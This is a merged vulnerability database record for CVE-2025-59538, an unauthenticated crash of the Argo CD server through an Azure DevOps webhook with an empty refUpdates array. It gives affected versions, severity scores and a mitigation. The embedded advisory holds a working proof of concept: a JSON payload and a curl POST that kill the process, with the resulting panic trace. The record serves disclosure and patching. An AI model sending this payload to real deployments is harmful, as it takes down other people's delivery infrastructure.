{"id":"CVE-2025-59538","aliases":["CVE-2025-59538","GHSA-gpx4-37g2-c8pv","BIT-ARGO-CD-2025-59538","GO-2025-3995"],"related":[],"kind":"vulnerability","state":"published","title":"Argo CD is Vulnerable to Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook","summary":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nIn the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.\n\nThe slice index [0] is accessed without a length check, causing an index-out-of-range panic.\n\nA single unauthenticated HTTP POST is enough to kill the process.\n\n### Details\n\n```go\ncase azuredevops.GitPushEvent:\n    // util/webhook/webhook.go -- line ≈147\n    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty\n    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)\n    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)\n    touchedHead     = payload.Resource.RefUpdates[0].Name ==\n                      payload.Resource.Repository.DefaultBranch\n```\n\nIf the attacker supplies \"refUpdates\": [], the slice has length 0.\n\nThe webhook code has no recover(), so the panic terminates the entire binary.\n\n### PoC\n\npayload-azure-empty.json:\n```json\n{\n  \"eventType\": \"git.push\",\n  \"resource\": {\n    \"refUpdates\": [],\n    \"repository\": {\n      \"remoteUrl\": \"https://example.com/dummy\",\n      \"defaultBranch\": \"refs/heads/master\"\n    }\n  }\n}\n```\n\ncurl call:\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \\\n     -H 'Content-Type: application/json' \\\n     --data-binary @payload-azure-empty.json\n```\n\nObserved crash:\n\n```\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 205 [running]:\ngithub.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo\n    webhook.go:147 +0x1ea5\n...\n```\n\n### Mitigation\n\nIf you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.azuredevops.username: <your base64-encoded secret here>\n+  webhook.azuredevops.password: <your base64-encoded secret here>\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook in github.com/argoproj/argo-cd","format":"markdown","source":"go"},{"lang":"es","text":"Argo CD es una herramienta de entrega continua declarativa, GitOps para Kubernetes. Para las versiones 2.9.0-rc1 hasta 2.14.19, 3.0.0-rc1 hasta 3.2.0-rc1, 3.1.6 y 3.0.17, cuando webhook.azuredevops.username y webhook.azuredevops.password no están configurados en la configuración predeterminada, el endpoint /API/webhook bloquea todo el proceso argocd-servidor cuando recibe un evento Push de Azure DevOps cuyo array JSON resource.refUpdates está vacío. Se accede al índice de la porción [0] sin una verificación de longitud, lo que provoca un pánico por índice fuera de rango. Una única solicitud HTTP POST no autenticada es suficiente para terminar el proceso. Este problema se resuelve en las versiones 2.14.20, 3.2.0-rc2, 3.1.8 y 3.0.19.","source":"nvd"},{"lang":"en","text":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0 through 2.14.19, 3.0.0 through 3.2.0, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.1.8 and 3.0.19.","format":"markdown","source":"bitnami"}],"published":"2025-09-30T18:32:31.000Z","modified":"2026-10-12T15:10:00.207Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-248","CWE-703"],"affected":[{"ranges":[{"version":">= 2.9.0-rc1, < 2.14.20","status":"affected"},{"version":">= 3.2.0-rc1, < 3.2.0-rc2","status":"affected"},{"version":">= 3.1.0-rc1, < 3.1.8","status":"affected"},{"version":">= 3.0.0-rc1, < 3.0.19","status":"affected"}],"vendor":"argoproj","product":"argo-cd","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.9.0-rc1","status":"affected","fixed":"2.14.20"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","purl":"pkg:golang/github.com/argoproj/argo-cd/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.2.0-rc1","status":"affected","fixed":"3.2.0-rc2"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.1.0-rc1","status":"affected","fixed":"3.1.8"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.0.0-rc1","status":"affected","fixed":"3.0.19"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd","purl":"pkg:golang/github.com/argoproj/argo-cd","source":"go"},{"ranges":[{"type":"semver","introduced":"2.9.0-rc1","status":"affected","fixed":"2.14.20"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","purl":"pkg:golang/github.com/argoproj/argo-cd/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"3.0.0-rc1","status":"affected","fixed":"3.0.19"},{"type":"semver","introduced":"3.1.0-rc1","status":"affected","fixed":"3.1.8"},{"type":"semver","introduced":"3.2.0-rc1","status":"affected","fixed":"3.2.0-rc2"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"go"},{"ranges":[{"status":"affected","introduced":"2.9.0","fixed":"2.14.20"},{"status":"affected","introduced":"3.0.0","fixed":"3.0.19"},{"status":"affected","introduced":"3.1.0","fixed":"3.1.8"},{"status":"affected","version":"3.2.0"}],"vendor":"argoproj","product":"argo_cd","cpe":"cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"2.9.0","status":"affected","fixed":"2.14.20"},{"type":"semver","introduced":"3.0.0","status":"affected","fixed":"3.0.19"},{"type":"semver","introduced":"3.1.0","status":"affected","fixed":"3.1.8"}],"ecosystem":"Bitnami","package":"argo-cd","purl":"pkg:bitnami/argo-cd","source":"bitnami"}],"references":[{"url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59538","tags":["advisory","web"],"sources":["ghsa","go","bitnami"]},{"url":"https://github.com/argoproj/argo-cd","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3995","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-10-02T15:32:22.380Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-59538","url":"https://www.cve.org/CVERecord?id=CVE-2025-59538","licence":"CVE Terms of Use","modified":"2025-10-02T15:54:11.490Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gpx4-37g2-c8pv","url":"https://github.com/advisories/GHSA-gpx4-37g2-c8pv","licence":"CC-BY-4.0","modified":"2025-10-23T20:29:02.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3995","url":"https://pkg.go.dev/vuln/GO-2025-3995","licence":"CC-BY-4.0","modified":"2025-10-23T16:42:17.824Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-59538","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59538","licence":"Public domain","modified":"2026-10-12T15:10:00.207Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-ARGO-CD-2025-59538","url":"https://osv.dev/vulnerability/BIT-ARGO-CD-2025-59538","licence":"Apache-2.0","modified":"2026-09-08T08:45:37.376Z"}],"updatedAt":"2026-11-25T22:59:05.417Z","epss":{"score":0.11486,"percentile":0.96112,"date":"2026-12-01T12:00:22.000Z"}}